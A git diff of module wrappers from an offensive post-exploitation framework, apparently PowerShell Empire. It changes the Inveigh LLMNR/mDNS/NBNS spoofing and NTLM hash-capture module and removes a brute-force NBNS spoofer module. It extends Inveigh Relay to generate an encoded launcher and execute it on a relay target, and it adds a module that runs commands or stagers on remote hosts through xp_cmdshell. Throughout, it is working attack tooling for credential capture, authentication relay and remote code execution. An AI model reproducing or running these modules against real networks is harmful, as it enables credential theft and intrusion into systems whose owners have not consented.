'Description' : 'Comma separated list of source IP addresses to ignore when spoofing with LLMNR and NBNS.',
|
|
||||||
'Required' : False,
|
|
||||||
'Value' : ''
|
|
||||||
},
|
|
||||||
'SpooferRepeat' : {
|
|
||||||
'Description' : 'Enable/Disable repeated LLMNR/NBNS spoofs to a victim system after one user challenge/response has been captured (Y/N).',
|
|
||||||
'Required' : False,
|
|
||||||
'Value' : 'Y'
|
|
||||||
},
|
|
||||||
'LLMNR' : {
|
|
||||||
'Description' : 'Enable/Disable LLMNR spoofing (Y/N).',
|
|
||||||
'Required' : False,
|
|
||||||
'Value' : 'Y'
|
|
||||||
},
|
|
||||||
'LLMNRTTL' : {
|
|
||||||
'Description' : 'Custom LLMNR TTL in seconds for the response packet.',
|
|
||||||
'Required' : False,
|
|
||||||
'Value' : ''
|
|
||||||
},
|
|
||||||
'NBNS' : {
|
|
||||||
'Description' : 'Enable/Disable NBNS spoofing (Y/N).',
|
|
||||||
'Required' : False,
|
|
||||||
'Value' : 'Y'
|
|
||||||
},
|
|
||||||
'NBNSTTL' : {
|
|
||||||
'Description' : 'Custom NBNS TTL in seconds for the response packet.',
|
|
||||||
'Required' : False,
|
|
||||||
'Value' : ''
|
|
||||||
},
|
|
||||||
'NBNSTypes' : {
|
|
||||||
'Description' : 'Comma separated list of NBNS types to spoof.',
|
|
||||||
'Required' : False,
|
|
||||||
'Value' : '00,20'
|
|
||||||
},
|
|
||||||
'HTTP' : {
|
|
||||||
'Description' : 'Enable/Disable HTTP challenge/response capture (Y/N).',
|
|
||||||
'Required' : False,
|
|
||||||
'Value' : 'Y'
|
|
||||||
},
|
|
||||||
'HTTPAuth' : {
|
|
||||||
'Description' : 'HTTP server authentication type. This setting does not apply to wpad.dat requests (Anonymous,Basic,NTLM).',
|
|
||||||
'Required' : False,
|
|
||||||
'Value' : 'NTLM'
|
|
||||||
},
|
|
||||||
'HTTPBasicRealm' : {
|
|
||||||
'Description' : 'Realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth.',
|
|
||||||
'Required' : False,
|
|
||||||
'Value' : 'IIS'
|
|
||||||
},
|
|
||||||
'HTTPResponse' : {
|
|
||||||
'Description' : 'String or HTML to serve as the default HTTP response. This response will not be used for wpad.dat requests. Do not wrap in quotes and use PowerShell character escapes where necessary.',
|
|
||||||
'Required' : False,
|
|
||||||
'Value' : ''
|
|
||||||
},
|
|
||||||
'WPADAuth' : {
|
|
||||||
'Description' : 'HTTP server authentication type for wpad.dat requests. Setting to Anonymous can prevent browser login prompts (Anonymous,Basic,NTLM).',
|
|
||||||
'Required' : False,
|
|
||||||
'Value' : 'NTLM'
|
|
||||||
},
|
|
||||||
'WPADEmptyFile' : {
|
|
||||||
'Description' : 'Enable/Disable serving a proxyless, all direct, wpad.dat file for wpad.dat requests (Y/N).',
|
|
||||||
'Required' : False,
|
|
||||||
'Value' : 'Y'
|
|
||||||
},
|
|
||||||
'WPADIP' : {
|
|
||||||
'Description' : 'Proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADPort.',
|
|
||||||
'Required' : False,
|
|
||||||
'Value' : ''
|
|
||||||
},
|
|
||||||
'WPADPort' : {
|
|
||||||
'Description' : 'Proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADIP.',
|
|
||||||
'Required' : False,
|
|
||||||
'Value' : ''
|
|
||||||
},
|
|
||||||
'WPADDirectHosts' : {
|
|
||||||
'Description' : 'Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the defined proxy. Add the Empire host to avoid catching Empire HTTP traffic.',
|
|
||||||
'Required' : False,
|
|
||||||
'Value' : ''
|
|
||||||
},
|
|
||||||
'SMB' : {
|
|
||||||
'Description' : 'Enable/Disable SMB challenge/response capture (Y/N).',
|
|
||||||
'Required' : False,
|
|
||||||
'Value' : 'Y'
|
|
||||||
},
|
|
||||||
'Challenge' : {
|
|
||||||
'Description' : 'Specific 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random challenge will be generated for each request.',
|
|
||||||
'Required' : False,
|
|
||||||
'Value' : ''
|
|
||||||
},
|
|
||||||
'MachineAccounts' : {
|
|
||||||
'Description' : 'Enable/Disable showing NTLM challenge/response captures from machine accounts (Y/N).',
|
|
||||||
'Required' : False,
|
|
||||||
'Value' : 'N'
|
|
||||||
},
|
|
||||||
'ConsoleStatus' : {
|
'ConsoleStatus' : {
|
||||||
'Description' : 'Interval in minutes for auto-displaying all unique captured hashes and credentials. (Y/N)',
|
'Description' : 'Interval in minutes for displaying all unique captured hashes and credentials. This will display a clean list of captures in Empire.',
|
||||||
'Required' : False,
|
'Required' : False,
|
||||||
'Value' : ''
|
'Value' : ''
|
||||||
},
|
},
|
||||||
'ConsoleUnique' : {
|
'ConsoleUnique' : {
|
||||||
'Description' : 'Enable/Disable displaying challenge/response hashes for only unique IP, domain/hostname, and username combinations.',
|
'Description' : '(Y/N) Default = Y: Enable/Disable displaying challenge/response hashes for only unique IP, domain/hostname, and username combinations.',
|
||||||
'Required' : False,
|
'Required' : False,
|
||||||
'Value' : 'Y'
|
'Value' : ''
|
||||||
},
|
},
|
||||||
'RunTime' : {
|
'ElevatedPrivilege' : {
|
||||||
|
'Description' : '(Auto/Y/N) Default = Auto: Set the privilege mode. Auto will determine if Inveigh is running with elevated privilege. If so, options that require elevated privilege can be used.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'HTTP' : {
|
||||||
|
'Description' : '(Y/N) Default = Y: Enable/Disable HTTP challenge/response capture.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'HTTPAuth' : {
|
||||||
|
'Description' : '(Anonymous/Basic/NTLM/NTLMNoESS) HTTP listener authentication type. This setting does not apply to wpad.dat requests.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'HTTPContentType' : {
|
||||||
|
'Description' : 'Content type for HTTP/Proxy responses. Does not apply to EXEs and wpad.dat. Set to "application/hta" for HTA files or when using HTA code with HTTPResponse.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'HTTPResponse' : {
|
||||||
|
'Description' : 'Content to serve as the default HTTP/Proxy response. This response will not be used for wpad.dat requests. Use PowerShell escape characters and newlines where necessary. This paramater will be wrapped in double quotes by this module.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'Inspect' : {
|
||||||
|
'Description' : '(Switch) Inspect LLMNR, mDNS, and NBNS traffic only.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'IP' : {
|
||||||
|
'Description' : 'Local IP address for listening and packet sniffing. This IP address will also be used for LLMNR/mDNS/NBNS spoofing if the SpooferIP parameter is not set.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'LLMNR' : {
|
||||||
|
'Description' : '(Y/N) Default = Y: Enable/Disable LLMNR spoofer.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'mDNS' : {
|
||||||
|
'Description' : '(Y/N) Enable/Disable mDNS spoofer.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'mDNSTypes' : {
|
||||||
|
'Description' : '(QU,QM) Default = QU: Comma separated list of mDNS types to spoof. Note that QM will send the response to 224.0.0.251.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'NBNS' : {
|
||||||
|
'Description' : '(Y/N) Enable/Disable NBNS spoofer.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'NBNSTypes' : {
|
||||||
|
'Description' : 'Default = 00,20: Comma separated list of NBNS types to spoof.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'Proxy' : {
|
||||||
|
'Description' : '(Y/N) Enable/Disable Inveigh\'s proxy server authentication capture.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'ProxyPort' : {
|
||||||
|
'Description' : 'Default = 8492: TCP port for the Inveigh\'s proxy listener.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'RunCount' : {
|
||||||
|
'Description' : 'Number of NTLMv1/NTLMv2 captures to perform before auto-exiting.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'RunTime' : {
|
||||||
'Description' : 'Run time duration in minutes.',
|
'Description' : 'Run time duration in minutes.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'SMB' : {
|
||||||
|
'Description' : '(Y/N) Default = Y: Enable/Disable SMB challenge/response capture.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'SpooferIP' : {
|
||||||
|
'Description' : 'Response IP address for spoofing. This parameter is only necessary when redirecting victims to a system other than the Inveigh host.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'SpooferHostsIgnore' : {
|
||||||
|
'Description' : 'Comma separated list of requested hostnames to ignore when spoofing.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'SpooferHostsReply' : {
|
||||||
|
'Description' : 'Comma separated list of requested hostnames to respond to when spoofing.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'SpooferIPsIgnore' : {
|
||||||
|
'Description' : 'Comma separated list of source IP addresses to ignore when spoofing.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'SpooferIPsReply' : {
|
||||||
|
'Description' : 'Comma separated list of source IP addresses to respond to when spoofing.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'SpooferLearning' : {
|
||||||
|
'Description' : '(Y/N) Enable/Disable LLMNR/NBNS valid host learning.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'SpooferLearningDelay' : {
|
||||||
|
'Description' : 'Time in minutes that Inveigh will delay spoofing while valid hosts are being blacklisted through SpooferLearning.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'SpooferRepeat' : {
|
||||||
|
'Description' : '(Y/N) Default = Y: Enable/Disable repeated LLMNR/NBNS spoofs to a victim system after one user challenge/response has been captured.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'WPADAuth' : {
|
||||||
|
'Description' : '(Anonymous/Basic/NTLM/NTLMNoESS) HTTP listener authentication type for wpad.dat requests.',
|
||||||
'Required' : False,
|
'Required' : False,
|
||||||
'Value' : ''
|
'Value' : ''
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
# save off a copy of the mainMenu object to access external functionality
|
# save off a copy of the mainMenu object to access external functionality
|
||||||
|
@ -204,7 +217,7 @@ class Module:
|
||||||
script = moduleCode
|
script = moduleCode
|
||||||
|
|
||||||
# set defaults for Empire
|
# set defaults for Empire
|
||||||
scriptEnd = "\n" + 'Invoke-Inveigh -Tool "2" '
|
scriptEnd = "\n" + 'Invoke-Inveigh -Tool "2"'
|
||||||
|
|
||||||
for option,values in self.options.iteritems():
|
for option,values in self.options.iteritems():
|
||||||
if option.lower() != "agent":
|
if option.lower() != "agent":
|
||||||
|
|
|
@ -1,181 +0,0 @@
|
||||||
from lib.common import helpers
|
|
||||||
|
|
||||||
class Module:
|
|
||||||
|
|
||||||
def __init__(self, mainMenu, params=[]):
|
|
||||||
|
|
||||||
self.info = {
|
|
||||||
'Name': 'Invoke-InveighBruteForce',
|
|
||||||
|
|
||||||
'Author': ['Kevin Robertson'],
|
|
||||||
|
|
||||||
'Description': ('Inveigh\'s remote (Hot Potato method)/unprivileged NBNS brute force spoofer function. '
|
|
||||||
'This module can be used to perform NBNS spoofing across subnets and/or perform NBNS '
|
|
||||||
'spoofing without an elevated administrator or SYSTEM shell.'),
|
|
||||||
|
|
||||||
'Background' : True,
|
|
||||||
|
|
||||||
'OutputExtension' : None,
|
|
||||||
|
|
||||||
'NeedsAdmin' : False,
|
|
||||||
|
|
||||||
'OpsecSafe' : True,
|
|
||||||
|
|
||||||
'Language' : 'powershell',
|
|
||||||
|
|
||||||
'MinLanguageVersion' : '2',
|
|
||||||
|
|
||||||
'Comments': [
|
|
||||||
'https://github.com/Kevin-Robertson/Inveigh'
|
|
||||||
]
|
|
||||||
}
|
|
||||||
|
|
||||||
# any options needed by the module, settable during runtime
|
|
||||||
self.options = {
|
|
||||||
# format:
|
|
||||||
# value_name : {description, required, default_value}
|
|
||||||
'Agent' : {
|
|
||||||
'Description' : 'Agent to run module on.',
|
|
||||||
'Required' : True,
|
|
||||||
'Value' : ''
|
|
||||||
},
|
|
||||||
'SpooferIP' : {
|
|
||||||
'Description' : 'Specific IP address for NBNS spoofing. This parameter is only necessary when redirecting victims to a system other than the Inveigh Brute Force host.',
|
|
||||||
'Required' : False,
|
|
||||||
'Value' : ''
|
|
||||||
},
|
|
||||||
'SpooferTarget' : {
|
|
||||||
'Description' : 'IP address to target for brute force NBNS spoofing.',
|
|
||||||
'Required' : True,
|
|
||||||
'Value' : ''
|
|
||||||
},
|
|
||||||
'Hostname' : {
|
|
||||||
'Description' : 'Hostname to spoof with NBNS spoofing.',
|
|
||||||
'Required' : False,
|
|
||||||
'Value' : 'WPAD'
|
|
||||||
},
|
|
||||||
'NBNS' : {
|
|
||||||
'Description' : 'Enable/Disable NBNS spoofing (Y/N).',
|
|
||||||
'Required' : False,
|
|
||||||
'Value' : 'Y'
|
|
||||||
},
|
|
||||||
'NBNSPause' : {
|
|
||||||
'Description' : 'Number of seconds the NBNS brute force spoofer will stop spoofing after an incoming HTTP request is received.',
|
|
||||||
'Required' : False,
|
|
||||||
'Value' : ''
|
|
||||||
},
|
|
||||||
'NBNSTTL' : {
|
|
||||||
'Description' : 'Custom NBNS TTL in seconds for the response packet.',
|
|
||||||
'Required' : False,
|
|
||||||
'Value' : ''
|
|
||||||
},
|
|
||||||
'HTTP' : {
|
|
||||||
'Description' : 'Enable/Disable HTTP challenge/response capture (Y/N).',
|
|
||||||
'Required' : False,
|
|
||||||
'Value' : 'Y'
|
|
||||||
},
|
|
||||||
'HTTPAuth' : {
|
|
||||||
'Description' : 'HTTP server authentication type. This setting does not apply to wpad.dat requests (Anonymous,Basic,NTLM).',
|
|
||||||
'Required' : False,
|
|
||||||
'Value' : 'NTLM'
|
|
||||||
},
|
|
||||||
'HTTPBasicRealm' : {
|
|
||||||
'Description' : 'Realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth.',
|
|
||||||
'Required' : False,
|
|
||||||
'Value' : 'IIS'
|
|
||||||
},
|
|
||||||
'HTTPResponse' : {
|
|
||||||
'Description' : 'String or HTML to serve as the default HTTP response. This response will not be used for wpad.dat requests. Do not wrap in quotes and use PowerShell character escapes where necessary.',
|
|
||||||
'Required' : False,
|
|
||||||
'Value' : ''
|
|
||||||
},
|
|
||||||
'WPADAuth' : {
|
|
||||||
'Description' : 'HTTP server authentication type for wpad.dat requests. Setting to Anonymous can prevent browser login prompts (Anonymous,Basic,NTLM).',
|
|
||||||
'Required' : False,
|
|
||||||
'Value' : 'NTLM'
|
|
||||||
},
|
|
||||||
'WPADIP' : {
|
|
||||||
'Description' : 'Proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADPort.',
|
|
||||||
'Required' : False,
|
|
||||||
'Value' : ''
|
|
||||||
},
|
|
||||||
'WPADPort' : {
|
|
||||||
'Description' : 'Proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADIP.',
|
|
||||||
'Required' : False,
|
|
||||||
'Value' : ''
|
|
||||||
},
|
|
||||||
'WPADDirectHosts' : {
|
|
||||||
'Description' : 'Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the defined proxy. Add the Empire host to avoid catching Empire HTTP traffic.',
|
|
||||||
'Required' : False,
|
|
||||||
'Value' : ''
|
|
||||||
},
|
|
||||||
'Challenge' : {
|
|
||||||
'Description' : 'Specific 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random challenge will be generated for each request.',
|
|
||||||
'Required' : False,
|
|
||||||
'Value' : ''
|
|
||||||
},
|
|
||||||
'MachineAccounts' : {
|
|
||||||
'Description' : 'Enable/Disable showing NTLM challenge/response captures from machine accounts (Y/N).',
|
|
||||||
'Required' : False,
|
|
||||||
'Value' : 'N'
|
|
||||||
},
|
|
||||||
'RunCount' : {
|
|
||||||
'Description' : 'Number of captures to perform before auto-exiting.',
|
|
||||||
'Required' : False,
|
|
||||||
'Value' : ''
|
|
||||||
},
|
|
||||||
'RunTime' : {
|
|
||||||
'Description' : 'Run time duration in minutes.',
|
|
||||||
'Required' : False,
|
|
||||||
'Value' : ''
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
# save off a copy of the mainMenu object to access external functionality
|
|
||||||
# like listeners/agent handlers/etc.
|
|
||||||
self.mainMenu = mainMenu
|
|
||||||
|
|
||||||
for param in params:
|
|
||||||
# parameter format is [Name, Value]
|
|
||||||
option, value = param
|
|
||||||
if option in self.options:
|
|
||||||
self.options[option]['Value'] = value
|
|
||||||
|
|
||||||
|
|
||||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
|
||||||
|
|
||||||
# read in the common module source code
|
|
||||||
moduleSource = self.mainMenu.installPath + "/data/module_source/collection/Invoke-InveighBruteForce.ps1"
|
|
||||||
if obfuscate:
|
|
||||||
helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
|
|
||||||
moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
|
|
||||||
try:
|
|
||||||
f = open(moduleSource, 'r')
|
|
||||||
except:
|
|
||||||
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
|
||||||
return ""
|
|
||||||
|
|
||||||
moduleCode = f.read()
|
|
||||||
f.close()
|
|
||||||
|
|
||||||
script = moduleCode
|
|
||||||
|
|
||||||
# set defaults for Empire
|
|
||||||
scriptEnd = "\n" + 'Invoke-InveighBruteForce -Tool "2" '
|
|
||||||
|
|
||||||
for option,values in self.options.iteritems():
|
|
||||||
if option.lower() != "agent":
|
|
||||||
if values['Value'] and values['Value'] != '':
|
|
||||||
if values['Value'].lower() == "true":
|
|
||||||
# if we're just adding a switch
|
|
||||||
scriptEnd += " -" + str(option)
|
|
||||||
else:
|
|
||||||
if "," in str(values['Value']):
|
|
||||||
quoted = '"' + str(values['Value']).replace(',', '","') + '"'
|
|
||||||
scriptEnd += " -" + str(option) + " " + quoted
|
|
||||||
else:
|
|
||||||
scriptEnd += " -" + str(option) + " \"" + str(values['Value']) + "\""
|
|
||||||
if obfuscate:
|
|
||||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
|
||||||
script += scriptEnd
|
|
||||||
return script
|
|
|
@ -9,18 +9,20 @@ class Module:
|
||||||
|
|
||||||
'Author': ['Kevin Robertson'],
|
'Author': ['Kevin Robertson'],
|
||||||
|
|
||||||
'Description': ('Inveigh\'s SMB relay function. This module can be used to relay '
|
'Description': ('Inveigh\'s SMB relay function. This module can be used to relay incoming '
|
||||||
'incoming HTTP NTLMv2 authentication requests to an SMB target. '
|
'HTTP/Proxy NTLMv1/NTLMv2 authentication requests to an SMB target. If the '
|
||||||
'If the authentication is successfully relayed and the account is '
|
'authentication is successfully relayed and the account has the correct '
|
||||||
'a local administrator, a specified command will be executed on the '
|
'privilege, a specified command or Empire launcher will be executed on the '
|
||||||
'target PSExec style. This module works best while also running '
|
'target PSExec style. This module works best while also running collection/inveigh '
|
||||||
'collection/inveigh with HTTP disabled.'),
|
'with HTTP disabled. Note that this module exposes only a subset of Inveigh '
|
||||||
|
'Relay\'s parameters. Inveigh Relay can be used through Empire\'s scriptimport '
|
||||||
|
'and scriptcmd if additional parameters are needed.'),
|
||||||
|
|
||||||
'Background' : True,
|
'Background' : True,
|
||||||
|
|
||||||
'OutputExtension' : None,
|
'OutputExtension' : None,
|
||||||
|
|
||||||
'NeedsAdmin' : True,
|
'NeedsAdmin' : False,
|
||||||
|
|
||||||
'OpsecSafe' : False,
|
'OpsecSafe' : False,
|
||||||
|
|
||||||
|
@ -38,35 +40,96 @@ class Module:
|
||||||
# format:
|
# format:
|
||||||
# value_name : {description, required, default_value}
|
# value_name : {description, required, default_value}
|
||||||
'Agent' : {
|
'Agent' : {
|
||||||
'Description' : 'Agent to run module on.',
|
'Description' : 'Agent to run module on.',
|
||||||
'Required' : True,
|
'Required' : True,
|
||||||
'Value' : ''
|
'Value' : ''
|
||||||
},
|
},
|
||||||
'SMBRelayTarget' : {
|
'Listener' : {
|
||||||
'Description' : 'IP address of system to target for SMB relay.',
|
'Description' : 'Listener to use.',
|
||||||
'Required' : True,
|
'Required' : False,
|
||||||
'Value' : ''
|
'Value' : ''
|
||||||
},
|
},
|
||||||
'SMBRelayCommand' : {
|
'UserAgent' : {
|
||||||
'Description' : 'Command to execute on SMB relay target. Do not wrap in quotes and use PowerShell character escapes where necessary.',
|
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
|
||||||
'Required' : True,
|
'Required' : False,
|
||||||
'Value' : ''
|
'Value' : 'default'
|
||||||
},
|
},
|
||||||
'SMBRelayUsernames' : {
|
'Proxy_' : {
|
||||||
'Description' : 'Comma separated list of usernames to use for relay attacks. Accepts both username and domain\username format.',
|
'Description' : 'Proxy to use for request (default, none, or other).',
|
||||||
'Required' : False,
|
'Required' : False,
|
||||||
'Value' : ''
|
'Value' : 'default'
|
||||||
},
|
},
|
||||||
'SMBRelayAutoDisable' : {
|
'ProxyCreds' : {
|
||||||
'Description' : 'Automaticaly disable SMB relay after a successful command execution on target (Y/N).',
|
'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
|
||||||
'Required' : False,
|
'Required' : False,
|
||||||
'Value' : 'Y'
|
'Value' : 'default'
|
||||||
},
|
},
|
||||||
'RunTime' : {
|
'Command' : {
|
||||||
'Description' : 'Run time duration in minutes.',
|
'Description' : 'Command to execute on relay target. Do not wrap in quotes and use PowerShell escape characters and newlines where necessary.',
|
||||||
'Required' : False,
|
'Required' : False,
|
||||||
'Value' : ''
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'ConsoleOutput' : {
|
||||||
|
'Description' : '(Low/Medium/Y) Default = Y: Enable/Disable real time console output. Medium and Low can be used to reduce output.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'ConsoleStatus' : {
|
||||||
|
'Description' : 'Interval in minutes for displaying all unique captured hashes and credentials. This will display a clean list of captures in Empire.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'ConsoleUnique' : {
|
||||||
|
'Description' : '(Y/N) Default = Y: Enable/Disable displaying challenge/response hashes for only unique IP, domain/hostname, and username combinations.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'HTTP' : {
|
||||||
|
'Description' : '(Y/N) Default = Y: Enable/Disable HTTP challenge/response capture/relay.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'Proxy' : {
|
||||||
|
'Description' : '(Y/N) Default = N: Enable/Disable Inveigh\'s proxy server authentication capture/relay.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'ProxyPort' : {
|
||||||
|
'Description' : 'Default = 8492: TCP port for Inveigh\'s proxy listener.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'RunTime' : {
|
||||||
|
'Description' : 'Run time duration in minutes.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'Service' : {
|
||||||
|
'Description' : 'Default = 20 character random: Name of the service to create and delete on the target.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'SMB1' : {
|
||||||
|
'Description' : '(Switch) Force SMB1.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'Target' : {
|
||||||
|
'Description' : 'IP address or hostname of system to target for relay.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'Usernames' : {
|
||||||
|
'Description' : 'Comma separated list of usernames to use for relay attacks. Accepts both username and domain\username format.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'WPADAuth' : {
|
||||||
|
'Description' : '(Anonymous/NTLM) HTTP listener authentication type for wpad.dat requests.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
# save off a copy of the mainMenu object to access external functionality
|
# save off a copy of the mainMenu object to access external functionality
|
||||||
|
@ -82,6 +145,12 @@ class Module:
|
||||||
|
|
||||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||||
|
|
||||||
|
listenerName = self.options['Listener']['Value']
|
||||||
|
userAgent = self.options['UserAgent']['Value']
|
||||||
|
proxy = self.options['Proxy_']['Value']
|
||||||
|
proxyCreds = self.options['ProxyCreds']['Value']
|
||||||
|
command = self.options['Command']['Value']
|
||||||
|
|
||||||
# read in the common module source code
|
# read in the common module source code
|
||||||
moduleSource = self.mainMenu.installPath + "/data/module_source/lateral_movement/Invoke-InveighRelay.ps1"
|
moduleSource = self.mainMenu.installPath + "/data/module_source/lateral_movement/Invoke-InveighRelay.ps1"
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
|
@ -98,11 +167,21 @@ class Module:
|
||||||
|
|
||||||
script = moduleCode
|
script = moduleCode
|
||||||
|
|
||||||
|
if command == "":
|
||||||
|
if not self.mainMenu.listeners.is_listener_valid(listenerName):
|
||||||
|
# not a valid listener, return nothing for the script
|
||||||
|
print helpers.color("[!] Invalid listener: " + listenerName)
|
||||||
|
return ""
|
||||||
|
|
||||||
|
else:
|
||||||
|
|
||||||
|
# generate the PowerShell one-liner with all of the proper options set
|
||||||
|
command = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
|
||||||
# set defaults for Empire
|
# set defaults for Empire
|
||||||
scriptEnd = "\n" + 'Invoke-InveighRelay -Tool "2" '
|
scriptEnd = "\n" + 'Invoke-InveighRelay -Tool "2" -Command \"%s\"' % (command)
|
||||||
|
|
||||||
for option,values in self.options.iteritems():
|
for option,values in self.options.iteritems():
|
||||||
if option.lower() != "agent":
|
if option.lower() != "agent" and option.lower() != "listener" and option.lower() != "useragent" and option.lower() != "proxy_" and option.lower() != "proxycreds" and option.lower() != "command":
|
||||||
if values['Value'] and values['Value'] != '':
|
if values['Value'] and values['Value'] != '':
|
||||||
if values['Value'].lower() == "true":
|
if values['Value'].lower() == "true":
|
||||||
# if we're just adding a switch
|
# if we're just adding a switch
|
||||||
|
|
|
@ -0,0 +1,131 @@
|
||||||
|
from lib.common import helpers
|
||||||
|
class Module:
|
||||||
|
def __init__(self, mainMenu, params=[]):
|
||||||
|
self.info = {
|
||||||
|
'Name': 'Invoke-SQLOSCMD',
|
||||||
|
'Author': ['@nullbind', '@0xbadjuju'],
|
||||||
|
'Description': ('Executes a command or stager on remote hosts using xp_cmdshell.'),
|
||||||
|
'Background' : True,
|
||||||
|
'OutputExtension' : None,
|
||||||
|
|
||||||
|
'NeedsAdmin' : False,
|
||||||
|
'OpsecSafe' : True,
|
||||||
|
'Language' : 'powershell',
|
||||||
|
'MinPSVersion' : '2',
|
||||||
|
'MinLanguageVersion' : '2',
|
||||||
|
|
||||||
|
'Comments': []
|
||||||
|
}
|
||||||
|
self.options = {
|
||||||
|
'Agent' : {
|
||||||
|
'Description' : 'Agent to run module on.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'CredID' : {
|
||||||
|
'Description' : 'CredID from the store to use.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'Instance' : {
|
||||||
|
'Description' : 'Host[s] to execute the stager on, comma separated.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'Listener' : {
|
||||||
|
'Description' : 'Listener to use.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'Command' : {
|
||||||
|
'Description' : 'Custom command to execute on remote hosts.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'UserName' : {
|
||||||
|
'Description' : '[domain\]username to use to execute command.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'Password' : {
|
||||||
|
'Description' : 'Password to use to execute command.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'UserAgent' : {
|
||||||
|
